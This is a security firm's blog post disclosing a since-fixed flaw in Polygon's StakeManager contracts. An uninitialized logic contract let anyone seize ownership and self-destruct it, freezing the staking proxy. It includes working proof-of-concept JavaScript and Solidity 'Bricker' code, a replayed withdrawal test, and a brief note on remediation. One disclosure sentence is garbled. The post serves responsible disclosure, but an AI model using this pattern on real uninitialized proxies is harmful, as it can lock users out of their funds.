Blog Post

Temporary DOS disclosed to and remediated by Polygon

August 23, 2021

## Introduction

On 4 August 2021, [Ashiq Amien](https://twitter.com/AshiqAmien), a security researcher at iosiro, identified a critical vulnerability affecting [Polygon's](https://polygon.technology/) `StakeManagerProxy` and `StakeManager` smart contracts. An attacker could exploit this vulnerability to temporarily deny access to any of the `StakeManagerProxy` contract's cryptoassets, as well as temporarily affect dependent contracts. The bug was disclosed to Polygon and remediated on 17 August 2021, and a bug bounty was awarded for the disclosure.

## Bug Details

The [StakeManager](https://docs.matic.network/docs/contribute/contracts/stakingmanager/) is the main contract for handling validator-related activities. The `StakeManagerProxy` was a [proxy contract](https://etherscan.io/address/0x5e3ef299fddf15eaa0432e6e66473ace8c13d908) that used a [`StakeManager`](https://etherscan.io/address/0xd6f5c46d4e1a02f9d145cee41d2f8af30d8d2d76/advanced) contract as its logic contract. The `StakeManager` logic contract was uninitialized, allowing anyone to initialize the contract, take ownership and instantiate the `extensionCode` contract. While this did not affect the `StakeManagerProxy` state, an attacker could point the `extensionCode` to a malicious contract and call a function that uses `delegatecall` (such as `updateCheckpointRewardParams()`) to destroy the logic contract with a `selfdestruct` call. This can be seen in the proof-of-concept code below:

<pre>
<code class="language-js">
//The bricker contract is a malicious contract containing a `selfdestruct` call
console.log("initializing the owner and gov to: " + accounts[0].address);
let b = bricker.address;
await stakeManager.initialize(b, b, b, b, b, b, accounts[0].address, accounts[0].address, b);
</code>
</pre>

Once initialized, an attacker could call the [`updateCheckpointRewardParams()`](https://etherscan.io/address/0xd6f5c46d4e1a02f9d145cee41d2f8af30d8d2d76/advanced#code) function to `delegatecall` into the malicious `Bricker` contract, containing the following code:

<pre>
<code class="language-solidity">
contract Bricker {

 function updateCheckpointRewardParams(uint256 _rewardDecreasePerCheckpoint, uint256 _maxRewardedCheckpoints, uint256 _checkpointRewardDelta) external returns (bool){    
   Destructor des = new Destructor();
   (bool success, ) = address(des).delegatecall(abi.encodeWithSignature("toastedStakeManager()"));
   require(success);
   return true;
 }
}

contract Destructor {

 function toastedStakeManager() external{
   selfdestruct(payable(msg.sender));
 }
}
</code>
</pre>

This destroys the logic contract, which can be seen by checking the contract bytecode:

<pre>
<code class="language-js">
this is the bytecode before the logic is destroyed: 0x6080604052...
this is the bytecode after the logic is destroyed: 0x
   ✓ brick the contract (53ms)
</code>
</pre>

Since the `StakeManagerProxy` proxy contract would be temporarily bricked, any transaction would not result in any state changes. As an example, the following [transaction](https://etherscan.io/tx/0xa228fcb788661290dff1de05bef3c033a5905c79e9f9992c0e9a01a55611a390) was replayed to demonstrate that a user would not receive their underlying MATIC deposit:

<pre>
<code class="language-js">
let stakeManagerProxy = await hre.ethers.getContractAt("StakeManagerLogic","0x5e3Ef299fDDf15eAa0432E6e66473ace8c13D908");
let matictoken = await hre.ethers.getVerifiedContractAt("0x7D1AfA7B718fb893dB30A3aBc0Cfc608AaCfeBB0");

const validator = '0x40602Acb0430741AAB0a3d83eF79f9B8A652AfbF';
await hre.network.provider.request({
 method: "hardhat_impersonateAccount",
 params: [validator]}
);
const validatorSigner = await ethers.provider.getSigner(validator);

console.log("MATIC bal before withdraw: " + await matictoken.balanceOf(validator));
await stakeManagerProxy.connect(validatorSigner).withdrawRewards(97);
console.log("MATIC bal after withdraw: " + await matictoken.balanceOf(validator));
</code>
</pre>

<pre>
<code class="language-js">
MATIC bal before withdraw: 758089852976945701348322
MATIC bal after withdraw:  758089852976945701348322
   ✓ StakeManagerProxy is damaged (3251ms)

</code>
</pre>

Contracts dependent on `StakeManagerProxy`, such as the [`ValidatorShareProxy`](https://etherscan.io/address/0xC7757805B983eE1b6272c1840c18e66837dE858E#code) contract, would revert on functions calls that call the `StakeManagerProxy` contract. As an example, fetching the `exchangeRate` reverts after the `StakeManagerProxy` is bricked. This affected several other functions, such as `restake()`, `_buyShares()` and `_sellVoucher()`.

To remediate the issue, the `StakeManager` logic contract was initialized with a dead address for the  `owner` and `governance` parameters, and an arbitrary `extensionCode` contract that did not contain any `selfdestruct` calls. It should be noted that, if the logic contract was destroyed, all cryptoassets and related validator functionality could be restored by upgrading the `StakeManagerProxy` to a new logic contract. This could be done by an admin calling the `updateImplementation()` function.

## Disclosure Details

The bug was disclosed through HackerOne and escalated by whitehat [samczsun](https://samczsun.com) on 17 August. A call was then set up between Ashiq and the Polygon team to discuss the vulnerability details and remediation steps, which was attended to in the following [transaction](https://etherscan.io/tx/0x1986576e99261fdf17ae56f033d9f23fda131fab849ab62dff055205c2e438d0) his issue and speed up the remediation process. Discussing unpatched vulnerabilities to anyone outside of the intended remediation team should not be considered as standard practice, but was deemed necessary in this unique circumstance.

## Conclusion

Thanks to everyone involved for their support during the disclosure and remediation process, and to Polygon for using a bug bounty program to encourage responsible disclosure of security issues.

As an additional precaution to bug bounties, we recommend that projects undergo external audits of their systems before going to production. If you’d like to get your smart contracts audited by an experienced team, reach out to us at hello@iosiro.com.

Secure your system.
Request a service
Start Now